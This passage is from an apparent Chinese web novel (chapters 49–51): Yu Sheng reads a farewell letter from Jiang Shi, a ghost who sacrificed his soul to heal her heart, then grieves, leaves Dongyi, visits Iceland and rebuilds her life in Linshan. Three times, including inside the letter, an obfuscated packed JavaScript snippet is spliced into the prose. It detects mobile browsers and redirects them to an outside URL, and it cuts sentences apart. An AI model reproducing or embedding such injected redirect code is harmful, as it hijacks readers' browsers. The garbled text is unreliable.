他说:“你是我见过的第一个在这么严重的症状下能恢复到和正常人无异的病人。” 奇迹。 这个词太重了,它下坠,把心砸了好大一个洞。 这么大一个洞存在,也算健康,一点问题都没有吗? 这世界上哪里有奇迹? 快到停止线上时红灯转绿。 喻声靠着舒云繁的肩坐在回公寓的出租车上,她撑起眼皮,视线一直落在前方,看着车子平稳驶过红绿灯拐弯上桥。 睡了太长时间了,她从未如此清醒过。 从未如此清醒地知道,太阳一直都在高悬,它从未降落到她们停留过的那块地方上。 49. — 检查结果一点问题都没有,再加上今天已经10号,喻声也坚持说她没事了,舒云繁才稍微放下心,收拾好东西准备回家。 她临走前,又仔细再确认了一遍:“真的没事?不会再像昨晚那样了吧?” “真的没事,备用钥匙都给你了,你就住隔壁,有事我说一句你不是马上就能过来?”喻声笑了笑,“我今晚做番茄牛腩饭,你学习完了就过来吃。” 舒云繁闻言眼睛都亮了,说了声“给我多做点喔学习完了就跟饭桶一样”后就高高兴兴提着行李和豆乳回去了。 家里陡然静下来,喻声在客厅站了很长时间,最后去卫生间洗了把脸,决定去写点什么来让心也能平静一些。 她太久没输出过文字了,连打开电脑的操作都好像变得有点生疏。 上一篇文完结是什么时候? 喻声边打开码字软件,边想着时间。 没记错的话,应该是五月底。 那是一篇cp产出,冷圈冷cp,在写文网站上甚至连tag都没有。因为圈内实在找不到能做饭的厨子,单主才来约稿。她洋洋洒洒给喻声发过来很多cp细节,但为了尽善尽美,喻声还是花时间去找资料了解了一下,吃上细糠后创作欲爆棚,在激情产出中错过了和江时的520。 距离520结束只剩两个小时的时候喻声才踏出房门,她脚步放轻,想偷偷摸摸看一眼江时在客厅干什么。 这一探头,才发现客厅没开灯,微弱的亮光来源于电视,放的是他们之前一起看过的电影。江时的胳膊支在沙发扶手上,撑着头,眼睛紧闭,一动不动。 难得见他睡着。 喻声弯了弯眼睛,把拖鞋脱掉,慢吞吞地走近、凑近、手撑着沙发背,半壁咚的姿势,用目光细细描摹。 她好像很久很久,没这么专注看过江时的脸。 他的睫毛原来很长,平时眼睛太过漂亮总让人忽略这一点。睫毛投下的阴影和鼻子阴影连在一起,像一片薄薄轻轻的雾,缭绕在山峦周围。 她在夜晚,看到晨间的美景。 美景并非静止如油画,在喻声还没反应过来的时候,云雾开始游动,山峦的棱角若隐若现,白云柔软,蓦然降落到她的世界。 被偷吻后,喻声笑着箍住江时的下巴戳了下他脸上重新浮现的小括弧,看着他睁开的笑意盈盈的眼睛问道:“……装睡是吧?” “愿者上钩啊喻小姐。”江时说,“谁让你偷看我的。” 他的手原本扶住喻声的腰,边说着话就边往下滑,扣紧她的大腿根掰开后他突然起身,腾地将她托举起来。 突然的失重感让喻声控制不住地要往后仰,她双手往前伸,赶紧环住江时的脖颈。等稳住后,她越想越不对劲,索性变成单手环着,另一只手拍打了好几下他的肩膀。 “江先生。”喻声说,“你报复心还挺强啊。” “喻小姐,现在才知道是不是有点太晚了?”江时牢牢地抱着她,边往房间走边笑着回道。 他时走时停,慢吞吞的,一路上还要凑近仰头亲她。 “让不让亲啊?” 有两下没亲上,江时问。 “不让。”喻声说。 喻声笑着躲开,又因为被江时抱在半空中,躲避空间实在有限。 就算说完不让,还是被亲了一通。 他笑着问要不要再玩一次,喻声咬着他的下唇,被蛊惑般地点点头。 就算在他身上留下牙印,喊了好几遍停下,他还是得寸进尺,像伊甸园里那条最最狡猾的蛇,在河流前引诱她吃下禁果。 最后靠在了他的怀里,被抱去了浴室洗澡。在喻声昏昏沉沉之际,江时凑过来吻了吻她的额头,淅淅沥沥的水声作背景音,喻声听见他说了句我爱你。 喻声抬头,吻落在他的嘴角。 她说:“520快乐,男朋友,现在让你亲了。” 更准确来说,最后她编辑文档的时间应该是5月20日。 光标往下移动,定在了最新文档的属性上。 映入喻声眼帘的却不是5月20日。 上面显示—— 创建时间: 「2020年6月26日,23:20:25」 修改时间: 「2020年6月30日,12:14:17」 访问时间: 「2020年7月1日,10:10:31」 2020年7月1日,10:10:31。 这个时间点,她还在医院。 喻声没想要哭,这些文字她早在医院就已读过一遍。她平静地点开文档,又平静地从头慢慢滑到尾,可是眼泪就是自己掉下来了,和面前这封信里的每一个字一起,把心砸出了一个又一个的坑。 「生生: 身体恢复得怎么样?如果你能看到这封信的话,应该已经恢复正常了。虽然没问题了,但还是要好好休息,我用你的手机给舒云繁发了信息,让她如果有时间的话来陪你住几天,你见到她应该可以开心一点。我没法和她当面说,那就你替我向她道个歉吧,之前用飘着的碗吓到她了,这次还要感谢她的帮忙。 还有豆乳,它如果见不到我估计会像之前我出门工作那样绕着你转圈圈,你就找狗窝里那颗球给它玩,这是我上次给它买的,见到球它就会像见到我一样了。千万别让它去餐边柜那边玩,毕竟我把煤球、芝士、抹茶都养得很好,就让它们多陪陪你吧。还有那束向日葵,喜欢吗?想来想去不知道还能留下点什么给你,就在30号的时候买回家了,以前我每次工作完回家都会给你买花,这次迎接你的新生,我也想买一束给你,希望它争气点,能开到你回家的那天。 说了这么多别人的,没怎么提到你,不许生我的气,我只是没想好怎么说,因为很爱你,总在踌躇。 你在医院的这段时间,我走遍了我们一起去过的地方,最后发现最爱待的地方还是卧室的窗边。我第一次见你就在这里,那时候我们还剑拔弩张的,你一定很讨厌我,但如果再来一次的话,我可能还是会选择那样做。因为那是100年来,我唯一被人看到的时刻。也因为我们的关系不好过,所以现在的好更显得弥足珍贵。 站在窗边的时候,我总疑心这是不是一场梦,你晕倒在我怀里、你住院也都是一场梦而已。你还在家,还在厨房准备我们的晚餐,还在沙发上看书,还会需要我给你温牛奶,我可以抱着你,将你举高,你低头,会笑着双手捧着我的脸亲我,腿故意使坏地乱晃。但当我找遍这个家都没能找到你,我就知道只是我不够清醒。 每每这个时候,我都很疲惫。这种感觉太不好受,所以我会想,那常常因为心脏疲惫的你,会流下多少我不知道的眼泪?我一直说会有以后,慢慢来,你没说话,只是眼睛弯弯地看着我,那个时候你在想些什么? 你知道我没有心脏的,但那块位置突然疼了。 我收回那句“因为我很爱你”的话,我好像不够爱你。 明明从你奶奶口中知道了你过去遭受过什么,却直到现在去想再来一次的话还会选择让你先讨厌我。我问起你奶奶断掉的佛珠如何复原,她说无须复原,或许缘分已尽。 生生,最后再原谅我一次吧。 人总贪心,总遗憾,我也会,我也有。 因为曾经一无所有过,因为现在拥有的太多。 为了让你原谅我,我还去了福利院,找到了你写过的那块福牌。说着我是骗子的你,其实才是最大的骗子。明明写着要健康,要如愿,却还是骗我说你写着漂亮。 不过这么一想,也不错。 如果真的写着漂亮的话,我就没有办法帮你实现了,但让你健康和如愿,我倒是可以。你知道的,我最大的心愿,就是喻声能如愿,谢谢你让我实现。 我一直都明白,当初发烧的时候说的“烧死了也没关系”只是逞强的话,你其实很想好好活着,看到福牌后,我更确定了这一点。你爱这个世界,爱每一束花、爱每一株草,你一直都想去看祖国的大好山川,那些逞强的话只是因为你不能将真实想法说出口,也不愿说出口,一说出来,就会想起让人生存下来的心脏正把你困在东宜。你知道我一直都不喜欢火,但我现在喜欢了。我希望你能当火,当熊熊燃烧、不会熄灭的火,在那之前,我会成为木头。 生生,当我听到你的名的叠字是这个生的时候,我惊讶,也恍然。不过我也是刚知道,可能没有机会当面叫你了,这么想想是有点可惜。 但你别担心,我一点都不会后悔我做下的决定,你如此耀眼,该有很鲜活的人生,就跟名字一样,一直向上生长,一直生生不息。我想,或许这是我能找到的,达到这一点的最好最快的方式,所以我必须去做。 从福利院出来,我想起了你给我过的第一个生日。当时你问我,要不要把愿望跟你说,我说的是让你陪我再去看看福珠。但我当时许的愿望不是这个,我许的愿望是,时间停留在那一刻,眼前人永远是身边人。 确实是有点不切实际了。 既然愿望在当初没有跟你说,那我现在有权利把它报废吧?这次,我希望时间能往前走,毕竟我的女孩不止那一刻最漂亮,我没有理由自私地把她留在那里。 可惜我文笔实在不好,没法说出很漂亮的话。看你写文好像很轻松的样子,但真的轮到我自己却字字斟酌。这封信才多少字,我就东扯西扯地写了四五天,还不知道能不能把我想说的话表达出来。但我是一定要写的,至少得告诉你,这是我的决定,和任何其他旁人无关,也不想让你以为我无故消失,费劲找我,影响你的新生活。 生日那天,你说,希望我永远都不会后悔和你谈恋爱。傻瓜,怎么会后悔?我在被爱呢。我漫长的人生里100%的幸福都来源于你。 那场烟花放完后,就让我把100%的幸福重新还给你吧。你要活得更轻松些、再轻松些,不要那么辛苦了。 我的生生,希望你永远幸福。从前没能做到的、没敢去做的,在接下来的人生中去做一遍吧。没有我,你也可以去追逐你想要的自由,去看世界上最辽阔的大海,因为我不过是一个过去,而你在我这里,永远是那个最最勇敢的、不会被过去困住的小孩。 书不尽言,言不尽意。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144984|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不必牵挂我,只要你开心,我就一直存在,一直在爱你。秋天要来了,你的世界里,将会有满园的四季桂。 江时」 访问时间已经更新为「2020年7月10日,15:23:21」,喻声双手将整张脸捂起来,泣不成声。 在医院刚看到这封信时她也是这样,坐在候诊长椅上哭得无法自已。 春华女士在准备仪式修复她的心脏时,喻声的身体处于无意识状态,灵魂却清醒着,她能清楚地看到外界发生了什么,但没有和外界沟通的渠道,像被关在了一个封闭的屋子里,怎么声嘶力竭地喊都没有人听见。 她听到春华女士问:“你想好了吗?” 而后江时笑道:“您跟我提过,我能回去本体是因为怨气在消散,不再执着于困住我的痛苦,可我能做到这一点完全是因为喻声。所以没什么想不想好的,我原本就属于她。只要她需要,我就会去做。” 王春华苦笑一声:“总之,谢谢。” 江时闻言很快摇头。 王春华又说:“我入这行四十余年,帮人解厄、避险、降福,但也做过很多不能做的事。凡事有因必有果,生生的爸爸和她心脏有问题,她能看见鬼,也全是我种下的因造成的果,想来真是作孽。如今更是在做一件遭天谴的事,活活害你受苦,让你灵魂残缺不全。但我没法不做,纵然折寿,死后不得善终,我也必须去做。这句谢谢,说到底,也是对不起,要不是我跟你提了有借魂续命的办法,你也不会去做。” 喻声说不出话来,但她的身体像是能反应灵魂状态一般,早已泪流满面。 江时走过来,用指腹替喻声擦泪。 他越擦,身体自动流出的眼泪就越多。 他还不知道喻声能看见,说道:“不用跟我说对不起,您也清楚,是我听说我不是鬼,修复能力来源于我是灵体才主动问您有没有解决办法的,就算有因果,起因也会是我,是我该谢谢您。等生生醒来,麻烦您跟她说,我给她留了一封信,在她平时写文的那个软件里。” 江时转身,背对着喻声,朝王春华深深一鞠躬。 王春华点头,说事不宜迟。 江时没再看喻声,直截了当地说开始。 王春华先取了一杯水,水里不知加了什么,水面混浊不清,她用了一张符覆盖上去,倒悬在床头。随后她阖眼,嘴里念叨着一连串的经文。 就在这时,杯下的那张符燃起火光,明明房间内门窗紧闭,仍有一阵狂风刮过,火在风的造势下愈烧得厉害,瞬间将江时圈在中间。 喻声像是回到了过去,以前王春华诵经的时候都会带上她的那段日子。小孩子哪能那么有耐心,听着敲木鱼、念经文的声音就开始左右摇晃,在香火味中昏昏欲睡。以前昏睡的是身体,现在昏睡的是灵魂。那扇透过身体看外面的窗户被慢慢闭上。 她的最后一眼,是江时的脸。 他被火光映亮,这么怕火的人被火围着眼睛却一下都没眨,从仪式开始前就直直地望过来,脸上带着轻松的笑意。 等喻声醒来,已经是新的一月。 恍若隔世。 江时不知道喻声在仪式前能听见、看见,王春华又岂会不知?所以她到底没说什么,只问喻声想不想回棉城休养一段时间。 喻声抱着电脑,没回答,无声流着泪。 王春华叹了一口气:“无论如何,我们俩都想试试。生生,不要怨他,怨我吧。” 喻声最终拒绝了王春华回棉城的提议。 她办理了出院手续,先把王春华送到机场,在王春华牵着她不愿走的时候,喻声笑着开口:“春华女士,你在棉城不是还有事要忙吗?放心吧,我现在身体已经没问题了,会照顾好自己的。” 王春华欲言又止。 喻声看着她,又补充道:“我连哭都不会哭的。” 怎么不会哭? 她只是不敢哭而已。 她不敢哭,怕原来看到她流泪最会来给她擦泪的人再也没有出现,那她就会意识到他已经走了。 真的很疲惫。 哭也疲惫,不哭也疲惫。 从7月1日到7月10日,她用了整整十天的时间,才接受江时真的不在了。 秋天快到了,但有很多东西停滞不前。 《鬼在这里》不会再有续集,黑色垃圾袋里的盆栽也不会复原,她往后伸手,不会再抓到那个一直想逗弄她的人了。 喻声后悔自己太过贪心。 她原本以为会是江时先离开,没想到会是自己先心脏病发,绊住了他的脚步。如果她提前选择分开的话,假以时日,江时一定会回归本体,就算不记得她了,那个曾经和她温存过的灵魂也会一直存在。 就像他曾经做过的那个梦一样,无须爱她,但那个受过伤的灵魂还可以在别的身体里温存,还可以认真去爱这个世界。 她说过,死亡也不能将他们分开,而让她活着的代价,是让她喜欢的人魂飞魄散。 终究是她亲手害了自己喜欢的人。 她让江时,在死亡了101年后,再一次尝试到了疼痛的滋味。 50. — 喻声想暂时离开东宜。 做出这个决定,她用了十天时间。 在心不在焉地做完番茄牛腩饭后,她和舒云繁说了这个决定,也把关于江时的一切都说了出来。 此刻她们肩挨着肩在客厅地毯上坐着,和在临山赏雪夜聊那晚坐的姿势一样,心境却完全不同。 “舒舒,我有一个很喜欢的人。”喻声平静地倾吐完后偏头看向舒云繁,迟疑片刻,她最后说,“……但我生了一个很严重的病后,好像把他弄丢了。” 她没哭,舒云繁却哭了。 “怪不得我提了这么多次看看你男朋友的照片,你都说等下次。”舒云繁哽咽地转身环住喻声的肩将她抱紧,“为什么之前完全不跟我说?我都不知道你这几天承受了这么多。” 喻声抬手搭在舒云繁的手臂上,在这个时候还能开个玩笑回去:“我怕你会叫我在疯子和傻子的称号中领取一个。和鬼谈恋爱听起来就足够荒谬吧?他一离开,我连能证明他存在过的物件都几乎没有。” “但是你能证明他存在啊。”舒云繁没能笑出来,语气仍闷闷不乐的,“你爱一个人是什么样子,你想念一个人是什么样子,我都能看到,所以我知道这个人一定存在过。” 如果人要自己类比成某件物品的话,在这个时刻,喻声想,她会像一张皱皱巴巴的试卷。哪怕她失去过很多,在那上面仍会写满关于爱的永恒疑问。春华女士是永远打勾的判断题;江时则是选择题,试卷没有标准答案的情况下,在他身边,喻声可以活在自由做选择的每个瞬间;而舒云繁是压轴主观题,总展现五花八门的关于爱的可能,在每分每秒,在此刻。从一开始莽撞地闯入她的世界,到现在,用一颗心看见,且包容她紧闭房门里的所有样子。 她有全世界最最好的朋友。 她有了第一张满分试卷。 喻声很难去用词描述突然发现自己在爱里是优等生是什么感觉,但她想,大概是开始觉得那些很困难的、催泪的复习过程变得没关系了。 喻声抱紧舒云繁,手上戴着的那条她送的手链随着动作在摇摇晃晃:“我也爱你,我也会想念你。” “我当然知道。”舒云繁吸了吸鼻子,说道,“你这一走,我们下次见面都不知道是什么时候了。我一定会记住现在你爱我想念我的样子,等下次见面,再换你一顿番茄牛腩饭。” “好啊。”喻声努力提起一点嘴角,“就算我不走,你也会去留学,我们的暂时分开是必然,但你的下一顿番茄牛腩饭,一定要留给我。” “那不然呢?”舒云繁从喻声的怀抱中退出来,舀了一大勺已经冷掉的饭强塞进嘴里,边嚼边含糊不清地说着什么。 喻声听不清,好笑地起身倒了杯水递到她嘴边,嘱咐她吃慢一点。 豆乳跳上茶几,再跳进舒云繁的腿上。 舒云繁喝了大半杯水,终于把饭顺下去了,才说道:“我是说,允许你谈新的恋爱,不允许你交比我更好的朋友。” “我不会谈新的恋爱,也不会遇到比你更好的朋友了。”喻声说。 因为已经遇到过太好的人,因为她的新心脏没有那么大,再也没有空间能装下其他任何了。 “不管你谈不谈新的恋爱,我都希望你能走出来,希望你的世界永远以让你自己快乐为中心,然后,千万千万不要受伤。”舒云繁又张开手臂想抱她,眼睛里的泪光还没消失,“如果你需要勇气的话,我勉为其难分给你一点。” 喻声眉眼一弯,蹲下来,主动去承接这个传递勇气的拥抱,豆乳被夹在中间,挣扎着要探出脑袋,滑稽样子终于把舒云繁逗笑。 “舒舒,先借走你一点勇气,等你有一天需要的时候再还给你。总有一天我会收到你实现梦想的好消息的。到那天,不管我在这个世界上的哪个角落,不管我有没有在你身边,我都一定会为你高兴。”喻声靠在舒云繁的肩上,闭眼延长着这个拥抱的时间,而后轻声说。 舒云繁没有回答,只是头更低了,眼睛贴着喻声的衣服,把肩上那一小块布料浸湿。 有很多东西在这个晚上变得珍贵,并肩坐在一起的两个小时,眼泪,被挤得乱糟糟的豆乳,还有已经冷掉了重新回锅居然比原来更好吃的番茄牛腩饭。 盘装的番茄牛腩饭迅速见底,家里的东西也很快一样一样被清走。 马上就要和这个待了一年的家告别,收拾情况要比喻声预想中的更顺利。 虽然这里房租不贵,但喻声也不是一两个月就回来,没必要去花额外的钱。最后她和舒云繁一合计,打算先把一些大件的、带不走的,例如床上用品之类的先寄放在舒云繁家。舒云繁那边的房间布局和喻声差不多,都有额外的一间储藏室,放里面刚刚好,也不会占用到舒云繁的地方。 做好初步准备后,喻声给王春华打了个电话。 王春华先是问了心脏的情况,在听完喻声打算后说道:“出去走走,换换心情也好。一路上不要总想着省,该吃吃该玩玩,没有钱要跟奶奶说,奶奶有存钱的,再重新养我们生生一遍也不难。” 喻声站在书桌前,手指轻点,默数着那些写给春华女士的却暂时不会寄出去的信,笑道:“我也有存钱的,给我们春华女士养老也很容易。” 电话那边闻言轻笑了一下,旋即陷入沉默中。 喻声没去打扰,良久后,才听王春华重新开口问起:“生生,你怪奶奶吗?” “奶奶,我从来都没有怪过你,我一直在怪的是我自己。”喻声垂目,“当时你劝过我的,是我没听,总觉得能有不一样的结局。我这次想出去走走,也是想换个环境,找点除了写文外我能做的其他事情。至少……至少不要让脑子一直在思考东西了,这样我才能做到没有负担地继续生活。” 在王春华说下一句之前,喻声又补充说道:“所以奶奶,你不用为我担心,我会整理好自己的心情的。到时候安顿好了,我就给你寄特产和信。” “奶奶相信你。”王春华笑道,“不过还是那句话,缺钱了,需要有人陪了,随时来找奶奶。要给你写几张符或者寄几串佛珠带着吗?” 先把信叠成一摞放进收纳箱里,喻声一边费劲地拉开抽屉,想把里面还没收拾的东西收拾出来,一边回答王春华的话:“不用了奶奶,最近收拾东西忙都忘了说,我好像肉眼看不太到鬼了,有时候能有感觉,但感觉也是隐隐约约的,过个几十秒就消失了。” 王春华惊奇:“那也算因祸得福了,这样也好,你出门在外我能放心一些。” 抽屉滑轨卡住,单手拉拉不出来,喻声再听王春华嘱咐了几句就挂断电话,专心致志地对付抽屉,费了很大劲才终于拉开。 信早上被喻声拿出来后,抽屉里剩下的就都是一些零碎的东西了,几支笔,一本读书笔记,那个装着十二颗佛珠的木盒,还有一本开春时买的日历,被两个福牌压着。 一个写着:「健康、如愿。」 一个写着:「放下、喻声如愿。」 她太费劲打开的抽屉,放着她不用力就能想起的回忆。 喻声深呼吸,将两块福牌一起塞进装佛珠的木盒里,哐当一声把回忆关上,放入收纳箱的角落里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177663|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她加快手中收拾的速度,企图躲开又重复出现的混乱思绪。那几支笔和读书笔记要带走,就先放在背包里,至于那本日历—— 喻声一顿,将日历从抽屉里拿出来。 好几天没撕,日历还停留在她生日的那天,她想,至少该往后多撕几页再放进收纳箱里,就像江时信里说的那样,时间该往前走了。 又得对眼泪认输了。 在她把6月25日那一页撕掉了之后,喻声恍惚,只能想到这一点。 6月26日上写的「诸事不宜」被圈起来划掉,有一个很熟悉的字迹在旁边补上了新的四个字—— 「诸事可行」。 喻声抑制不住地往后翻,从6月26日到日历结束的12月31日,所有的诸事不宜都被划掉,更改为诸事可行,最后一页,他在诸事可行的旁边,写下了生生两个字。 他写,生生,往后人生,诸事可行。 她太高看自己了。 对着舒云繁说的也好,对着春华女士说的也好,她反复强调自己能做到,总有一天可以走出来。可面对自己,面对有关于江时的任何物件,哪怕只是他留下来的一句话,喻声都只能坦诚。 坦诚她给江时做的那个被切得一刀两断的蛋糕真的很难吃,坦诚她的拍立得和相机再无用武之地,最后只剩三张越来越清晰的照片,坦诚她的错误,只是想把房间清空,却找不到小狗挂饰了,最后连重要的回忆都丢了。 坦诚地表达,她很想他,太渴望让他重新出现来爱她。 时间在往前走,想念也是。 - 喻声挑好了想去的地方,临山。 当初离开临山的时候说好的会再陪舒云繁来一次,却没想到下一次会是自己一个人。 舒云繁问了选择临山的原因,喻声一边把四件套和收纳箱安置进储藏室,一边说她也不知道,可能只是想找一个熟悉又没那么熟悉的地方。 临走前,她上了一趟六楼。 最后一次上六楼,还是听江时讲他的过去的那次。六楼没怎么变,依旧灰蒙蒙的,喻声站定,打开窗。 她从未看过六楼白天的风景,可是现在一看,才发觉外面的景色也没什么特别的,阳光还是阳光,树木还是树木。或许是闭窗的时候对于外面的世界全靠想象,所以当真的亲身体会,才有种中奖过期的感觉。 明明是她唯一中过的一次彩票,还是让它过期了。 喻声还约了许绘林。 跨年那会发信息说等有空再一起吃土豆粉,一直没实现,喻声试探问了一下她忙不忙,最后约了今天。 去见她之前,喻声想着可以带份礼物给她,刚好刷到她朋友圈发了读书的照片,就打算先出门去一趟书店,看看有没有同类型的书可以送给她。 家和书店里依旧放着歌,喻声站在书架旁边取书翻阅时,又听到那首红豆。 当初和江时来的时候,接着他的话,只听到那句“有时候,有时候,我会相信一切有尽头”,现在只剩一个人,才多听到了一句“相聚离开,都有时候,没有什么会永垂不朽”。 和许绘林吃完土豆粉分别后,喻声没有离开,重新逛了逛东大。 从操场,慢悠悠走到三教,旁边是行人和单车,他们来来往往,碾过落叶发出脆响。喻声站在三教和实验楼中间,抬头向上望,在枝繁叶茂中,她缓缓闭眼。 此刻,阳光过分耀眼。 有一天,她来过这里,看到了整条路的银杏树。而今天,或许是闭眼,她闻到了四季桂的香味,盈满她整个世界。 51. — 在准备去临山之前,喻声临时起意,改签机票,飞了冰岛。 坐在飞机上,喻声看到了太阳从西边升起。就和江时当初说的一样,她没有任何心理预设,就已经在这架飞机上了。 来得不是时候,这一趟过来没能看到极光,但也很幸运,她出的第一趟海,就看到了鲸鱼。 冷风阵阵吹来,喻声无暇去顾及要裹紧衣服,她扶紧前面的把手,坐在快艇上往鲸鱼方向靠近。有一条鲸鱼先露出尾巴,而后完全跃出水面,扬起的水花被阳光映得剔透,等它回到海里后又欢快地绕着快艇转了一圈。那一刻,世界都安静下来了,久违地,喻声听到了自己的心跳声。 彼时,喻声在回程的途中流下眼泪。隔壁坐着的是一个韩国的留学生,见状好心地询问她是不是晕船。喻声笑着摇摇头,用英语告诉这个女孩,她只是突然想到了冰岛要比中国慢了八个小时。 她有一个很喜欢的人,他一直活在她的过去,终于可以有一次,他走到了她的未来。 而她身在过去,很想知道未来的他好不好,也很想告诉他,之前约定好一起来的冰岛波光粼粼的,很漂亮。 很想很想。 喻声没在冰岛待多久,很快就飞到了临山,从夏天,再到新的夏天,她都一直待在这里。 整整一年过去,喻声依旧在写文,频率没那么高了。新的一个九月,她发了一篇同人文在社交软件上爆火,随之而来的,后台邀请堆满。她挑挑拣拣自己能接的,档期排到了隔年年底。 有一个老读者,每月固定约她一篇内容随意发挥的文稿。喻声每个月都卡着25号晚上发过去,一般来说10分钟后,这个读者就会发一句很喜欢过来,附赠一个Koonyangi猫猫星星眼的表情包。 喻声每次都回复那个Ggamja土豆小黄狗撒花的表情包,再加句谢谢,周而复始。 周而复始的还有写信。虽然那些给春华女士写的告别信送不出去了,但喻声依旧保留着这个习惯。隔一段时间,她就会给春华女士、舒云繁和福珠写信寄回去。 十月,秦淑含打了视频过来,说福珠收到信很高兴,跟每个小朋友都炫耀了一番。嘘寒问暖几句后她又问了喻声,今年的柿子怎么拿,要不要和去年一样给她寄到临山去。 喻声想了想,最后说今年的让她朋友过去拿吧,刚好这个很厉害的朋友申请到学校马上就要去留学了,临走前如果能再吃一次东宜的柿子,一路上定能柿柿如意。 那头的屏幕里挤进来一个圆圆脑袋,稚生稚气地问,这个朋友是不是之前和喻声姐姐一起来的哥哥。 喻声怔愣片刻,摇头说不是,这次是一个很漂亮的姐姐。 福珠在挂断视频前还问喻声,那个哥哥什么时候能来,她一定好好听话,等着哥哥再来给她讲故事书。 找别的话题糊弄过去后,喻声的视线移向窗外,发现此刻的临山正在下一场太阳雨。 因为关着窗,室内很安静,若不是抬头往外望根本发现不了这场雨的存在。 所以,只要躲在房间里就好,像现在这样闭口不谈就好,这场雨会自己悄无声息地过去的。 喻声曾说过福珠的第二次人生在浓郁的秋天开启,但她想,她自己的第二次人生何尝不是从秋天开启。 喻声住的地方是一间民宿,离之前住过的酒店不远。她现在不社恐了,渐渐地脱离了以往那种逃避的状态,或许是真的从舒云繁那里接收到了勇气。 民宿的老板很好相处,丈夫出轨后,她果断选择离婚,拿着一大笔钱带女儿在这里开了民宿。闲暇时刻,她带着喻声学做面包、学煮茶,也带着喻声重新认识了一遍临山。 如果在午后出发,骑着自行车从民宿出发一直往前,就能赶上草莓农场里新鲜出炉的草莓甜点。如果能给老板的女儿绵绵带一份草莓可丽饼回去,小姑娘会高兴得展示一个小时的牙龈。 喻声包里时常放有纸笔,如果遇到突然有灵感,就会停下来找个地方坐着写写记记。有时候会刚好碰到有人在街头弹吉他唱歌,录下来发给舒云繁,会立马收到「想再听一遍想自由」的信息。 有一次,她专门发了一条语音说,声声,你要很自由才行。 喻声听了三遍,长按收藏。 那个时候路边刚好有积雪,喻声捡起树枝,在地上写了巨大的「自由」两个字。 或许,直到此刻,她才真正做到江时信里说到的那样:活得更轻松些、再轻松些。 但,轻松的时刻,反而会更想念他。 一月,喻声遇到了上次来喝醉酒的那个大叔,罕见地,他还记得她。大叔的状态好了太多,他热情地邀请喻声继续来参加篝火晚会。 盛情难却,喻声最终答应。但她对于辣舌头的酒还是有点接受无能,在大家闹起来准备酒过第三巡前就寻了个由头脱离人群。喻声一路慢慢走,走到了之前看星星的地方,她抬头望,还是觉得星星在烛光下更闪耀。 因为她见过星星更闪耀的样子,所以更觉当下黯淡无光。 而她一低头,就看到有只白色小狗抬脸睁着水汪汪的眼睛看她,肉垫还紧紧贴在她的鞋面上。 得知喻声收养了这只小狗,并已经为它取名为麻薯的舒云繁立马打来电话,控诉喻声居然养别的狗,是不是不爱豆乳了。 喻声正在草原上喂羊,闻言先关心了一下她在异国的学习生活还适不适应,而后立马反驳:“我哪有?” “你就有。”舒云繁冷哼,电话那头还在噼里啪啦响,“喜新厌旧。” 喻声笑着戳破她:“舒舒,你这是被论文折磨得到处发牢骚吧?” 她话音刚落,吃完牧草的小羊开始咩咩叫,和舒云繁那边的键盘声相互呼应。 舒云繁果然发出连连长叹。 “后悔去留学了?”喻声问。 “怎么可能?”舒云繁说道,“现在就是累并快乐着。虽然偶尔会觉得自己好像不够聪明,上课不能时时刻刻跟得上进度,但大学毕业后,我第一次重新感知到生活原来一直都是我想象中的样子的。” “那你现在就是自由的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243533|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”喻声道。 过了好几秒,小羊开始嚼新的牧草,舒云繁才笑着回答:“你说得对,我也是自由的。心情真好,怎么有种得到夸奖的感觉?” “不仅夸奖,还有奖励。等你休假,来临山找我玩吧?你的出行费用我全报销。”喻声说道,“顺便带豆乳过来玩,我也想它了。” “现在谈出去玩对我来说是不是太奢侈了一点?这些论文写得我头都大了。”舒云繁还在抱怨,过了一会儿又嘿嘿笑出声,“不过应该有人替我去找你吧?” 听出了她的调侃,喻声无奈道:“我们真的就只是朋友。” “真的只是朋友吗?”老板在民宿前台远远看见喻声就迎了上来,挎着喻声的臂弯走回民宿的路上开始咬耳朵,“他近一年来一休假就来临山找你,今天更是等了你快两小时,我说你去草原上了,他也是笑笑说先不打扰你的独处时间,在这里等你就行。” “茹姐,我们就是朋友,不会有别的关系,他来临山也是因为资助了这边山区的小朋友,定期来看看而已。”喻声轻轻揭过话题,问起别的,“麻薯呢?和绵绵出去玩了吗?” 邱茹的目光转了一圈,回答道:“刚刚还在这儿呢,这会都不见了,估计又去二楼拿小狗玩具了。” 喻声点点头,没再说什么。她抬头,视线甫一和大厅起身的舒云霁对上,立马笑着招了招手。 远远地,舒云霁也笑着回了个招手。 